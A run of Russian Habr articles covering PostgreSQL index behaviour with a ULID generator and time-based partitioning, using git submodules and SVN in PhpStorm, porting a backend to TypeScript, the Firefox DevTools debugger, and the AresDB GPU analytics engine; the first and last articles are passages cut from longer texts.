Мы видим постепенную деградацию производительности неравномерного индекса. Происходит это из-за того, что с каждым новым значением в индексе растёт активный dataset (количество блоков, которые участвуют в операциях INSERT). В итоге нам начинает не хватать buffer pool для того, чтобы держать активный dataset, и у нас возрастает общий IOPS за счет чтения, пока всё не упрётся в физические ограничения.
При этом поражает, насколько больше неравномерный uuid генерирует WAL:
Падение скорости генерации WAL связано с тем, что нам приходиться больше читатьПри этом в случае с UUID мы видим, как активно используется диск на чтение. Это связано с тем, что перед тем, как изменить страницу с индексом (одна запись – одна страница), её надо предварительно поднять в буфер. Тогда как в случае с равномерным индексом страница индекса, в которую надо произвести запись – уже находится в буфере.
Графики по IOPSравномерный индекс использует, в основном, диск на записьнеравномерный индекс использует диск на запись и существенное чтениеИтак, мы показали, что основная проблема при обновлении неравномерного индекса – это IOPS.
При неравномерных данных каждый новый INSERT генерирует чтение и запись в разные страницы индексаБонус использования ULID
------------------------
Хотел бы дополнить рассказ одним из бонусов использования зависимости ULID от времени в секционировании. Для примера воспользуемся модифицированной функцией [generate\_ulid](https://github.com/geckoboard/pgulid/blob/master/pgulid.sql):
модифицированная функция generate\_ulid
```
CREATE OR REPLACE FUNCTION generate_ulid(at_in timestamptz default current_timestamp, entropy_in bool default true)
RETURNS TEXT
AS $$
DECLARE
-- Crockford's Base32
encoding BYTEA = '0123456789ABCDEFGHJKMNPQRSTVWXYZ';
timestamp BYTEA = E'\\000\\000\\000\\000\\000\\000';
output TEXT = '';
unix_time BIGINT;
ulid BYTEA;
BEGIN
-- 6 timestamp bytes
unix_time = (EXTRACT(EPOCH FROM at_in) * 1000)::BIGINT;
timestamp = SET_BYTE(timestamp, 0, (unix_time >> 40)::BIT(8)::INTEGER);
timestamp = SET_BYTE(timestamp, 1, (unix_time >> 32)::BIT(8)::INTEGER);
timestamp = SET_BYTE(timestamp, 2, (unix_time >> 24)::BIT(8)::INTEGER);
timestamp = SET_BYTE(timestamp, 3, (unix_time >> 16)::BIT(8)::INTEGER);
timestamp = SET_BYTE(timestamp, 4, (unix_time >> 8)::BIT(8)::INTEGER);
timestamp = SET_BYTE(timestamp, 5, unix_time::BIT(8)::INTEGER);
-- 10 entropy bytes
ulid = timestamp || gen_random_bytes(10);
-- Encode the timestamp
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 0) & 224) >> 5));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 0) & 31)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 1) & 248) >> 3));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 1) & 7) << 2) | ((GET_BYTE(ulid, 2) & 192) >> 6)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 2) & 62) >> 1));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 2) & 1) << 4) | ((GET_BYTE(ulid, 3) & 240) >> 4)));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 3) & 15) << 1) | ((GET_BYTE(ulid, 4) & 128) >> 7)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 4) & 124) >> 2));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 4) & 3) << 3) | ((GET_BYTE(ulid, 5) & 224) >> 5)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 5) & 31)));
if entropy_in then
-- Encode the entropy
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 6) & 248) >> 3));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 6) & 7) << 2) | ((GET_BYTE(ulid, 7) & 192) >> 6)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 7) & 62) >> 1));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 7) & 1) << 4) | ((GET_BYTE(ulid, 8) & 240) >> 4)));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 8) & 15) << 1) | ((GET_BYTE(ulid, 9) & 128) >> 7)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 9) & 124) >> 2));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 9) & 3) << 3) | ((GET_BYTE(ulid, 10) & 224) >> 5)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 10) & 31)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 11) & 248) >> 3));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 11) & 7) << 2) | ((GET_BYTE(ulid, 12) & 192) >> 6)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 12) & 62) >> 1));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 12) & 1) << 4) | ((GET_BYTE(ulid, 13) & 240) >> 4)));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 13) & 15) << 1) | ((GET_BYTE(ulid, 14) & 128) >> 7)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 14) & 124) >> 2));
output = output || CHR(GET_BYTE(encoding, ((GET_BYTE(ulid, 14) & 3) << 3) | ((GET_BYTE(ulid, 15) & 224) >> 5)));
output = output || CHR(GET_BYTE(encoding, (GET_BYTE(ulid, 15) & 31)));
else
output = output || '0000000000000000';
end if;
RETURN output;
END
$$
LANGUAGE plpgsql
VOLATILE;
```
Допустим, нам необходимо секционирование большой таблицы по времени:
```
CREATE TABLE "table" (
id text primary key not null default generate_ulid(now(), true),
created_at timestamptz default current_timestamp,
...
) partition by range (id);
CREATE TABLE table_2021 partition of "table" for values
from (generate_ulid('2021-01-01', false))
to (generate_ulid('2022-01-01', false));
```
Благодаря тому, что функция generate\_ulid() возвращает ULID, зависящий от времени, мы имеем право навесить constraint:
```
alter table table_2021 add constraint created_at_2021
check (created_at >= '2021-01-01' and created_at < '2022-01-01');
```
Это позволит планеру при построении запроса выбирать правильную секцию, если в нашем запросе участвует время. Таким образом, мы создали псевдо-рандомный primary index по времени (в одной транзакции например можно сделать несколько записей в PK) :)
Научите ваш PostgreSQL правильно использовать данные
----------------------------------------------------
Эффективный индекс – строится на равномерных данных (об этом нам, помимо прочих, говорит документация).
Если вам нужен чистый рандом, попытайтесь сделать его равномерным. Это несложно.
Если в вашем случаем невозможно избавиться от неравномерных данных, постарайтесь сделать так, чтобы данные, которые могут вам потребоваться одновременно, лежали физически рядом. Например, данные о конкретных user\_id, скорее всего, должны находиться как можно ближе друг к другу. Даже если на одну heap-страницу при сĸанировании индеĸса в среднем попадет две строчĸи, это может уменьшить IOPS в два раза.
Помните, что вы всегда можете перестроить таблицу – с помощью [CLUSTER](https://postgrespro.ru/docs/postgresql/13/sql-cluster) (в монопольном доступе) или [pg\_repack](https://reorg.github.io/pg_repack/) (несовместимо с логической репликацией).
Знайте свои данные и успехов вам с индексами в борьбе с тормозами в вашей любимой базе данных, живите ровно!
UPD
---
Генерация большого количества WAL в случае с UUID связана с поведением FPW (full\_page\_write). Дело в том, что грязная страница в буфере пишется с FPW только один раз. Последующее изменения грязной страницы, находящейся в буфере, занимает небольшой размер в WAL. Так как в случае с UUID вытеснение из буфера происходит чаще, поэтому и запись FPW происходит значительно чаще. | https://habr.com/ru/post/564520/ | null | ru | null |
# Использование различных VCS репозиториев в PhpStorm
#### Введение
При развертывании проектов основанных на модульных приложениях (например, Magento) сталкиваешься с тем, что в проекте сосуществует код, находящийся в различных репозиториях. PhpStorm вполне хорошо справляется с подобной ситуацией. Допустим, у нас есть основной проект, расположенный на Github'е, в котором используются один новый модуль, расположенный там же, и один legacy-модуль, расположенный в SVN-репозитории:
* **основной проект**: <https://github.com/praxigento/z_git_submodules_main.git> (Git)
* **новый модуль**: <https://github.com/praxigento/z_mage_composer_mod_01.git> (Git)
* **legacy-модуль**: <https://github.com/praxigento/z_mage_composer_mod_02/trunk> (Git as SVN)
Работать одновременно с несколькими git-репозиториями позволяет механизм [git submodules](http://git-scm.com/book/en/v2/Git-Tools-Submodules), а PhpStorm также позволяет к этому добавить и SVN-репозиторий.
#### Формируем проект
Клонируем основной проект, в котором еще нет субмодулей, на локальный диск:
```
git clone https://github.com/praxigento/z_git_submodules_main.git
cd .\z_git_submodules_main
# добавляем субмодули
git submodule add https://github.com/praxigento/z_mage_composer_mod_01.git modules/mod01
```
В файле .gitmodules появлется нечто типа:
```
[submodule "modules/mod_git"]
path = modules/mod_git
url = https://github.com/praxigento/z_mage_composer_mod_01.git
```
При клонировании основного проекта, в котором уже подключены git-субмодули нужно дополнительно их инициировать:
```
git submodule init
git submodule update
```
**Удаление субмодуля**По [мотивам](http://stackoverflow.com/questions/1260748/how-do-i-remove-a-git-submodule):
```
git submodule deinit -f modules/mod01
git rm -f modules/mod01
```
Отдельно подключаем SVN-модуль:
```
svn co https://github.com/praxigento/z_mage_composer_mod_02/trunk modules/mod_svn
```
Должна получится примерно такая файловая структура:
#### Настройка PhpStorm
Указываем в настройках PhpStrom все точки монтирования репоизториев в нашем проекте:
#### Работа с изменениями
Вносим изменения в README файлы в каждом из модулей и в самом проекте (всего три файла):
Коммитим изменения в репозитории:
Для git-репозиториев дополнительно push'аем изменения:
Проверяем изменения во всех репозиториях:
Таким образом, мы имеем возможность коммитить наши изменения в несколько репозиториев за раз.
Обновление локального кода:
 | https://habr.com/ru/post/246503/ | null | ru | null |
# Портирование API на TypeScript как способ решения проблем
React-фронтенд Execute Program [перевели](https://www.executeprogram.com/blog/porting-a-react-frontend-to-typescript) с JavaScript на TypeScript. А бэкенд, написанный на Ruby, трогать не стали. Однако проблемы, связанные с этим бэкендом, заставили разработчиков проекта задуматься о переходе с Ruby на TypeScript. Перевод материала, который мы сегодня публикуем, посвящён рассказу о портировании бэкенда Execute Program с Ruby на TypeScript, и о том, какие проблемы это помогло решить.
[](https://habr.com/ru/company/ruvds/blog/499664/)
Пользуясь Ruby-бэкендом, мы иногда забывали о том, что некое свойство API хранит массив строк, а не простую строку. Иногда мы меняли фрагмент API, обращения к которому выполнялись в разных местах, но забывали обновить код в одном из этих мест. Это — обычные проблемы динамического языка, характерные для любой системы, код которой покрыт тестами не на 100%. (Такое, хотя и реже, происходит и в случае полного покрытия кода тестами.)
В то же время, эти проблемы исчезли из фронтенда с тех пор, как мы перевели его на TypeScript. У меня больше опыта в серверном программировании, чем в клиентском, но, несмотря на это, я допускал больше ошибок при работе с бэкендом, а не с фронтендом. Всё это указывало на то, что бэкенд тоже стоит перевести на TypeScript.
Я портировал бэкенд с Ruby на TypeScript в марте 2019 года примерно за 2 недели. И всё работало так, как нужно! Мы развернули новый код в продакшне 14 апреля 2019 года. Это была бета-версия, доступная ограниченному количеству пользователей. После этого ничего не поломалось. Пользователи даже ничего не заметили. Вот график, иллюстрирующий состояние нашей кодовой базы до перехода и сразу после него. По оси Х отложено время (в днях), по оси Y — количество строк кода.
*Перевод фронтенда с JavaScript на TypeScript, и перевод бэкенда с Ruby на TypeScript*
В процессе портирования я написал большой объём вспомогательного кода. Так, у нас имеется собственное средство для запуска тестов объёмом в 200 строк. У нас есть 120-строчная библиотека для работы с базой данных, а также — более крупная библиотека маршрутизации для API, связывающая фронтенд- и бэкенд-код.
В нашей собственной инфраструктуре самое интересное, о чём стоило бы поговорить, это маршрутизатор. Он представляет собой обёртку для Express, обеспечивая правильность применения типов, которые используются и в клиентском, и в серверном коде. Это означает, что когда меняется одна часть API, другая даже не скомпилируется без внесения в неё изменений, устраняющих расхождения.
Вот бэкенд-обработчик, возвращающий список публикаций блога. Это — один из самых простых подобных фрагментов кода в системе:
```
router.handleGet(api.blog, async () => {
return {
posts: blog.posts,
}
})
```
Если мы поменяем имя ключа `posts` на `blogPosts`, то мы получим ошибку компиляции, текст которой показан ниже (тут, для краткости, опущены сведения о типах объектов.)
```
Property 'posts' is missing in type '...' but required in type '...'.
```
Каждая конечная точка определяется объектом вида `api.someNameHere`. Этот объект совместно используется клиентом и сервером. Обратите внимание на то, что в объявлении обработчика типы не упоминаются напрямую. Все они выводятся из аргумента `api.blog`.
Такой подход работает для простых конечных точек, вроде вышеописанной конечной точки `blog`. Но он подходит и для более сложных конечных точек. Например, конечная точка API для работы с уроками имеет глубоко вложенный ключ логического типа `.lesson.steps[index].isInteractive`. Благодаря всему этому теперь невозможно совершить следующие ошибки:
* Если мы попытаемся обратиться к `isinteractive` на клиенте, или попытаемся вернуть такой ключ с сервера — код не скомпилируется. Имя ключа должно выглядеть как `isInteractive`, с заглавной `I`.
* Если сервер вернёт в качестве `isInteractive` число — код не скомпилируется.
* Если клиент сохранит значение `isInteractive` в переменной типа `number`, то код, опять, не скомпилируется.
* Если мы изменим само определение API, указав, что `isInteractive` — это число, а не логическое значение, тогда, до тех пор, пока в код клиента и сервера не будут внесены соответствующие изменения, код, снова, не скомпилируется.
Обратите внимание на то, что всё это включает в себя генерирование кода. Делается это с использованием [io-ts](https://github.com/gcanti/io-ts) и пары сотен строк кода нашего собственного маршрутизатора.
Объявление типов API предусматривает выполнение дополнительных работ, но работы это несложные. При изменении структуры API нам нужно знать о том, как меняется структура кода. Мы вносим изменения в объявления API, а затем компилятор указывает нам на все места, код в которых нужно исправить.
Сложно оценить важность этих механизмов до тех пор, пока некоторое время ими не попользуешься. Мы можем перемещать большие объекты из одного места API в другое, переименовывать ключи, можем разбивать большие объекты на части, сливать маленькие объекты в один объект, разделять или объединять целые конечные точки. И всё это мы можем делать, не беспокоясь о том, что мы забыли внести соответствующие изменения в код клиента или сервера.
Вот — реальный пример. Я недавно, на четырёх выходных, потратил порядка 20 часов, занимаясь перепроектированием API [Execute Program](https://www.executeprogram.com/). Изменилась вся структура API. При сравнении нового клиентского и серверного кода со старым были зафиксированы десятки тысяч изменений строк. Я перепроектировал серверный код определения маршрутов (наподобие вышеописанного `handleGet`). Я переписал все объявления типов для API, внеся во многие из них огромные структурные изменения. И, кроме того, я переписал все части клиента, в которых вызывались изменённые API. В ходе этой работы были изменены 246 из 292 файлов с исходным кодом.
В процессе большей части этой работы я полагался только на систему типов. В последний час этого 20-часового дела я начал запускать тесты, которые, по большей части, завершались успешно. В самом конце мы сделали полный прогон тестов и нашли три маленькие ошибки.
Всё это были логические ошибки: условия, которые случайно заводили программу не туда, куда нужно. Обычно система типов не помогает в поиске подобных ошибок. На исправление этих ошибок ушло несколько минут. Этот перепроектированный API был развёрнут несколько месяцев назад. Когда вы читаете что-то на [нашем сайте](https://www.executeprogram.com/) — именно этот API выдаёт соответствующие материалы.
Это не означает, что статическая система типов гарантирует то, что код всегда будет корректным. Эта система не позволяет обойтись без тестов. Но она значительно упрощает рефакторинг.
Расскажу теперь об автоматическом генерировании кода. А именно, мы используем [schemats](https://github.com/SweetIQ/schemats) для генерирования определений типов из структуры нашей базы данных. Система подключается к базе данных Postgres, анализирует типы столбцов и записывает соответствующие определения TypeScript-типов в обычный файл `.d.ts`, используемый приложением.
Файл с типами схемы базы данных поддерживается в актуальном состоянии нашим скриптом миграции при каждом его запуске. Благодаря этому нам не приходится вручную поддерживать эти типы. Модели используют определения типов базы данных для обеспечения того, что код приложения правильно обращается ко всему, что хранится в базе. Нет ни пропущенных таблиц, ни пропущенных столбцов, ни записи `null` в столбцы, не поддерживающие `null`. Мы не забываем правильно обрабатывать `null` в столбцах, поддерживающих `null`. И всё это статически проверяется во время компиляции.
Всё это вместе создаёт надёжную статически типизированную цепь передачи информации, простирающуюся от базы данных до свойств React-компонентов во фронтенде:
* Если меняется тип столбца в базе данных, то другой серверный код (вроде обработчиков обращений к API) не скомпилируется до тех пор, пока всё не будет приведено в соответствие с этими изменениями.
* Если серверные обработчики обращений к API не соответствуют клиентскому коду, вызывающему эти API, то серверный или клиентский код (или и тот и другой код) не скомпилируется.
* Если клиентские React-компоненты не соответствуют данным, поступающим из API, код этих компонентов не скомпилируется.
Работая над этим материалом, я не смог вспомнить ни одного случая несоответствия в коде, связанном с API, который прошёл компиляцию. У нас не было сбоев в продакшне, возникших из-за того, что клиентский и серверный код, относящийся к API, имеет разные представления о форме данных. И всё это — не следствие автоматизированного тестирования. Мы, для самого API, тестов не пишем.
Это ставит нас в крайне приятное положение: мы можем сконцентрироваться на самых важных частях приложения. Я трачу очень мало времени, занимаясь согласованиями типов. Гораздо меньше, чем я тратил, выявляя причины запутанных ошибок, которые, проникали через слои кода, написанного на Ruby или JavaScript, а потом вызывали странные исключения где-то очень далеко от источника ошибки.
Вот как выглядит работа над проектом после перевода бэкенда на TypeScript. Как видите, с момента перехода написано много кода. У нас было достаточно времени на то, чтобы оценить последствия принятого решения.
*На фронтенде и бэкенде проекта используется TypeScript*
Здесь мы не подняли обычный для подобных публикаций вопрос, заключающийся в достижении тех же результатов не через типизацию, а через применение тестов. Таких результатов не добиться, используя только тесты. Мы, вполне возможно, ещё об этом поговорим.
**Уважаемые читатели!** Занимались ли вы переводом на TypeScript проектов, написанных на других языках?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/499664/ | null | ru | null |
# Введение в отладку на примере Firefox DevTools, часть 1 из 4
От переводчика.
Я решил переработать [инструкцию, как отлаживать JavaScript в «Firefox DevTools»](https://mozilladevelopers.github.io/playground/debugger), потому что среди знакомых фронтендеров слово DevTools, инструменты разработчика, стало синонимом «Chrome DevTools». На Хабре также — [по запросу DevTools в релевантной выдаче](https://habr.com/ru/search/?q=DevTools&target_type=posts&order=relevance) на первых страницах упоминается только «Chrome DevTools». Я переживаю, что у начинающих фронтендеров сложится впечатление, что других инструментов — нет.
Да, к сентябрю 2021 года [браузер Firefox опустился на 4-е место](https://gs.statcounter.com/) по популярности на компьютерах, его даже обогнал новый Edge. Саму Mozilla, кажется, мы [тоже теряем](https://habr.com/ru/company/productivity_inside/blog/515534/).
Но мне также кажется, что это всё преждевременно. Что мы стали забывать про былые заслуги Firefox. Родоначальник инструментов разработчика Firebug появился в Firefox. Наглядный инспектор гридов и флексов первым появился в Firefox. Режим просмотра «как на мобильных» без открытых DevTools есть только в Firefox.
И, конечно, я вижу, как мы стали забывать, к чему привела монополия Internet Explorer. Кто-то и вовсе этого не застал. Монополия убивает конкуренцию и разрешает монополисту расхлябисто относиться к своему продукту. А один браузер — это монополия.
Я не призываю менять Chrome на Firefox. Я хочу, чтобы мы перестали списывать Firefox со счетов. Если вы пользуетесь Chrome, поддержите его конкурентов ради самого Chrome. Не обязательно деньгами. Достаточно в следующий раз, когда вы будете писать статью о чем-то, что есть во всех DevTools, упомянуть, как это работает в Firefox и Safari.
---
### Знакомимся с отладчиком в Firefox DevTools
Используете для отладки JavaScript-кода только `console.log`? В этом нет ничего постыдного. Отладка кода с помощью `console.log` — это просто, но область применения такой отладки ограничена. Логирование не поможет, если нужно проверить код здесь и сейчас или погрузиться в поисках ошибки в недры программы. В этих случаях вам нужен полноценный отладчик. Отладчик в браузере Firefox содержит всё, что нужно для поиска ошибок в коде. Изучение только основ отладчика позволит вам быстро находить ошибки в коде, и, возможно, сохранит одну-две клавиатуры, разбитые в приступе гнева «Да почему же ты не работаешь, \*\*\*\*!»
Знакомиться будем в процессе отладки простого приложения со списком дел. Конечно же, вам потребуется Firefox. Если браузер у вас не установлен, рекомендуем [версию для разработчиков](https://www.mozilla.org/ru/firefox/developer/). Сперва взглянем на интерфейс отладчика. Запустите Firefox. Затем нажмите комбинацию клавиш `ctrl + shift + I`, или `command + option + I` в macOS. В открывшихся инструментах разработчика выберите вкладку «Отладчик».
Отладчик разделён на три части:
Интерфейс отладчика в Firefox DevTools* Слева список всех JavaScript-файлов открытой страницы.
* По центру область предпросмотра.
* Справа панель инструментов.
На панели инструментов можно выделить:
Все возможности панели инструментов (справа)* В самом верху **кнопки для навигации** по коду во время отладки.
* **Выражения для отслеживания** — это набор значений, изменение которых мы хотим отследить во время отладки.
* **Точки останова** — список всех указанных в отладчике точек останова с возможностью включить-выключить каждую. Для удобства разработчика отдельно выделены точки останова в HTTP-запросах (XHR, fetch), обработчиках событий и на изменения DOM.
* **Стек вызовов** — список всех вызванных функций до момента остановки во время отладки. Справа от названия функции указаны номер строки и имя файла, где она была вызвана.
* **Области видимости** со списком всех доступных значений на момент остановки во время отладки.
Не пугайтесь незнакомых слов. Каждую часть отладчика и её назначение мы разберём далее. Пока что запомните, где что находится, и отправимся чинить сломанное приложение со списком дел...
---
### Совет в тему
Часто перед публикацией сайта разработчики минифицируют JavaScript-код, чтобы уменьшить размер файла и ускорить загрузку страницы. Пользователю радость, но читать минифицированный код в отладчике невозможно. У Firefox есть решение! Если вы открыли файл с таким кодом, нажмите на кнопку `{}` под областью предпросмотра. Отладчик попытается превратить минифицированный код в нечто человекочитаемое и покажет результат в новой вкладке.
Давайте потренируемся! Специально для вас мы опубликовали версию приложения с минифицированным кодом:
1. [Переходите по ссылке](https://mozilladevelopers.github.io/sample-todo/minified/).
2. Откройте инструменты разработчика (`ctrl + shift + I` в Windows и Linux, `command + option + I` в macOS), далее «Отладчик».
3. Слева, в списке файлов найдите `app.js`.
4. Откройте его в области предпросмотра и попробуйте перевести в человекочитаемый вид с помощью отладчика.
---
[Вторая часть: узнаём значение переменной без console.log](https://habr.com/ru/post/587516/)
[Третья часть: стек вызовов](https://habr.com/ru/post/588981/)
[Четвёртая часть: точки останова с условием](https://habr.com/ru/post/592095/) | https://habr.com/ru/post/586776/ | null | ru | null |
# Демонстрация AresDB: инструмент анализа в реальном времени с открытым исходным кодом на основе GPU от Uber
Благодаря анализу в реальном времени мы, сотрудники компании Uber, получаем представление о состоянии дел и эффективности работы и на основе данных решаем, как повысить качество работы на платформе Uber. Например, проектная команда мониторит состояние рынка и выявляет потенциальные проблемы на нашей платформе; программное обеспечение на базе моделей машинного обучения прогнозирует предложения пассажиров и спрос на водителей; специалисты по обработке данных улучшают модели машинного обучения — чтобы, в свою очередь, повысить качество прогнозирования.
В прошлом для анализа в реальном времени мы использовали решения по базам данных от других компаний, но ни одно не отвечало всем нашим критериям функциональности, масштабируемости, эффективности, стоимости и эксплуатационным требованиям.
Выпущенный в ноябре 2018 года AresDB представляет собой инструмент анализа в реальном времени с открытым исходным кодом. Он использует нетрадиционный источник питания, графические процессоры (GPU), что позволяет увеличивать масштаб анализа. Технология GPU, перспективный инструмент анализа в реальном времени, за последние годы значительно продвинулась, что делает ее идеальной для параллельных вычисления в реальном времени и обработки данных.
В следующих разделах мы опишем структуру AresDB и то, как это интересное решение для анализа в реальном времени позволило нам эффективнее и более рационально унифицировать, упростить и усовершенствовать решения по базам данных Uber для анализа в реальном времени. Надеемся, после прочтения данной статьи вы опробуете AresDB в рамках собственных проектов и также убедитесь в его полезности!
### Приложения Uber для анализа в реальном времени
Анализ данных принципиально важен для успешной деятельности Uber. Помимо других функций, аналитические инструменты используются для решения следующих задач:
* Построение **информационных панелей** для мониторинга бизнес-метрик.
* Принятие **автоматических решений** (например, [определение стоимости поездки](https://www.uber.com/drive/partner-app/how-surge-works/) и [выявление случаев мошенничества](https://eng.uber.com/advanced-technologies-detecting-preventing-fraud-uber/)) на базе собранных сводных метрик.
* Создание **случайных запросов** для диагностики, поиска и устранения проблем в рамках бизнес-операций.
Мы распределяем эти функции по категориям с различными требованиями следующим образом:
Информационные панели и системы принятия решений используют системы анализа в реальном времени, чтобы создавать аналогичные запросы по относительно небольшим, но обладающим высокой важностью подмножествам данных (с максимальным уровнем актуальности данных) при высоком QPS и низком запаздывании.
### Потребность в другом аналитическом модуле
Наиболее распространенная проблема, для решения которой в Uber используются инструменты анализа в реальном времени, — это вычисления совокупностей временных рядов. Эти вычисления дают представление о взаимодействии с пользователями, чтобы мы могли соответствующим образом повышать качество услуг. На их основе мы запрашиваем показатели по определенным параметрам (например, день, час, идентификатор города и статус поездки) за определенный период времени для произвольно отфильтрованных (или иногда объединенных) данных. За прошедшие годы компания Uber развернула несколько систем, направленных на решение этой задачи различными способами.
Вот некоторые сторонние решения, которые мы использовали для решения проблем этого типа:
* [Apache Pinot](https://github.com/apache/incubator-pinot), распределенная аналитическая база данных с открытым исходным кодом, написанная на Java, подходит для крупномасштабного анализа данных. Pinot использует внутреннюю лямбда-архитектуру для запроса пакетных данных и данных в реальном времени в столбчатом хранилище, инвертированный битовый индекс для фильтрации и звездчатое дерево — для кеширования совокупных результатов. Однако он не поддерживает функции дедупликации на основе ключей, обновления или вставки, объединения, а также расширенные функции запросов, например функцию геопространственной фильтрации. Кроме того, поскольку Pinot представляет собой базу данных на основе JVM, выполнение запросов является очень дорогим с точки зрения использования памяти.
* [Elasticsearch](https://www.elastic.co) используется в Uber для решения различных задач по потоковому анализу. Он построен на базе библиотеки Apache [Lucene](http://lucene.apache.org/), в которой хранятся документы, для полнотекстового поиска по ключевым словам и инвертированного индекса. Система широко распространена и расширена для поддержки совокупных данных. Инвертированный индекс обеспечивает фильтрацию, но не оптимизирован для хранения и фильтрации данных на основе временных диапазонов. Записи хранятся в виде документов JSON, что накладывает дополнительные расходы на обеспечение доступа к хранилищу и запросам. Как и Pinot, Elasticsearch представляет собой базу данных на основе JVM и, соответственно, не поддерживает функцию объединения, а выполнение запросов занимает большой объем памяти.
Хотя эти технологии имеют свои сильные стороны, им не хватало некоторых функций, необходимых для нашего варианта использования. Нам нужно было унифицированное, упрощенное и оптимизированное решение, и в его поисках мы работали в нестандартном направлении (точнее, внутри GPU).
### Использование GPU для анализа в реальном времени
Для реалистичного рендеринга изображений с высокой частотой кадров графические процессоры параллельно обрабатывают огромное количество форм и пикселей на высокой скорости. Хотя тенденция к увеличению тактовой частоты блоков обработки данных за последние несколько лет пошла на убыль, число транзисторов в микросхеме увеличилось только по [закону Мура](https://en.wikipedia.org/wiki/Moore%27s_law). В результате скорость вычислений GPU, измеряемая в гигафлопсах в секунду (Гфлопс/с), быстро увеличивается. На рисунке 1 ниже представлено сравнение тенденции теоретической скорости (Гфлопс/с) GPU от NVIDIA и CPU от Intel на протяжении ряда лет:
[](https://habrastorage.org/webt/mq/gh/wg/mqghwgau9j51rlgs_hratcvmw7i.png)
*Рисунок 1. Сравнение эффективности CPU и GPU по одинарной точности с плавающей запятой на протяжении нескольких лет. Изображение взято из руководства по программированию CUDA C от Nvidia.*
При разработке механизма запроса анализа в реальном времени решение об интеграции графического процессора было естественным. В Uber типичный запрос анализа в реальном времени требует обработки данных за несколько дней с миллионами, а то и миллиардами записей, затем их фильтрации и обобщения за короткий период времени. Эта вычислительная задача идеально вписывается в модель параллельной обработки GPU общего назначения, поскольку они:
* Обрабатывают данные параллельно с очень высокой скоростью.
* Обеспечивают более высокую скорость вычислений (Гфлопс/с), благодаря чему прекрасно подходят для выполнения сложных вычислительных задач (по блокам данных), которые можно распараллелить.
* Обеспечивают более высокую производительность (без запаздывания) по обмену данными между вычислительным блоком и хранилищем (ALU и глобальная память GPU) по сравнению с центральными процессорами (CPU), благодаря чему они идеально подходят для обработки параллельных задач ввода-вывода, связанных с памятью, что требует значительного объема данных.
Остановившись на использовании аналитической базы данных на основе GPU, мы — с позиции своих потребностей — оценили несколько существующих аналитических решений, в которых используются GPU:
* [Kinetica](https://www.kinetica.com/), аналитический инструмент на базе GPU, появился на рынке в 2009 году, первоначально для использования в структурах армии и разведслужб США. Хотя он демонстрирует высокий потенциал технологии GPU в аналитике, мы обнаружили, что для наших условий использования отсутствуют многие ключевые функции, в том числе изменение схемы, частичная вставка или обновление, сжатие данных, конфигурация памяти диска и памяти на уровне столбцов, а также соединение по геопространственным связям.
* [OmniSci](https://www.omnisci.com/), модуль запросов на базе SQL с открытым исходным кодом, казался многообещающим вариантом, но при оценке продукта мы поняли, что в нем отсутствуют некоторые важные функции для использования в Uber, например дедупликация. Хотя OminiSci представила открытый код своего проекта в 2017 году, после анализа их решения на основе C++ мы пришли к выводу, что ни изменение, ни разветвление их кодовой базы практически не осуществимы.
* Инструменты анализа в реальном времени на основе GPU, в том числе [GPUQP](https://www.cse.ust.hk/gpuqp/), [CoGaDB](http://cogadb.dfki.de/), [GPUDB](http://www.vldb.org/pvldb/vol6/p817-yuan.pdf), [Ocelot](http://www.vldb.org/pvldb/vol6/p709-heimel.pdf), [OmniDB](http://www.vldb.org/pvldb/vol6/p1374-he.pdf) и [Virginian](https://github.com/bakks/virginian), часто используются в научно-образовательных учреждениях. Однако, учитывая их академические цели, эти решения сосредоточены на разработке алгоритмов и проверке концепций, а не на решении реальных задач. По этой причине мы не принимали их в расчет — в условиях нашего объема и масштаба.
В целом, эти системы демонстрируют огромное преимущество и потенциал обработки данных с использованием технологии GPU, и они вдохновили нас на создание нашего собственного решения по анализу в реальном времени на базе GPU, адаптированного к потребностям Uber. Опираясь на эти концепции, мы разработали и открыли исходный код AresDB.
### Обзор архитектуры AresDB
На высоком уровне AresDB хранит большую часть данных в памяти хоста (RAM, которая связана с CPU), использует CPU для обработки принятых данных и диски для восстановления данных. В период запроса AresDB передает данные из памяти хоста в память GPU для параллельной обработки в GPU. Как показано на рисунке 2 ниже, AresDB включает хранилище памяти, хранилище метаданных и диск:
*Рисунок 2. Уникальная архитектура AresDB включает хранилище памяти, диск и хранилище метаданных.*
### Таблицы
В отличие от большинства систем управления реляционными базами данных (RDBMS), в AresDB отсутствует область действия базы данных или схемы. Все таблицы относятся к одной и той же области действия в одном кластере/экземпляре AresDB, что позволяет пользователям обращаться к ним напрямую. Пользователи хранят свои данные в виде таблиц фактов и таблиц измерений.
**Таблица фактов**
В таблице фактов хранится бесконечный поток событий временных рядов. Пользователи используют таблицу фактов для хранения событий/фактов, которые происходят в реальном времени, и каждое событие связано со временем события, при этом запрос таблицы часто производится по времени события. В качестве примера того типа информации, который хранится в таблице фактов, можно назвать поездки, где каждая поездка представляет собой событие, а время запроса на поездку часто обозначается как время события. Если с событием связано несколько временных меток, только одна временная метка указывается в качестве времени события и отображается в таблице фактов.
**Таблица измерения**
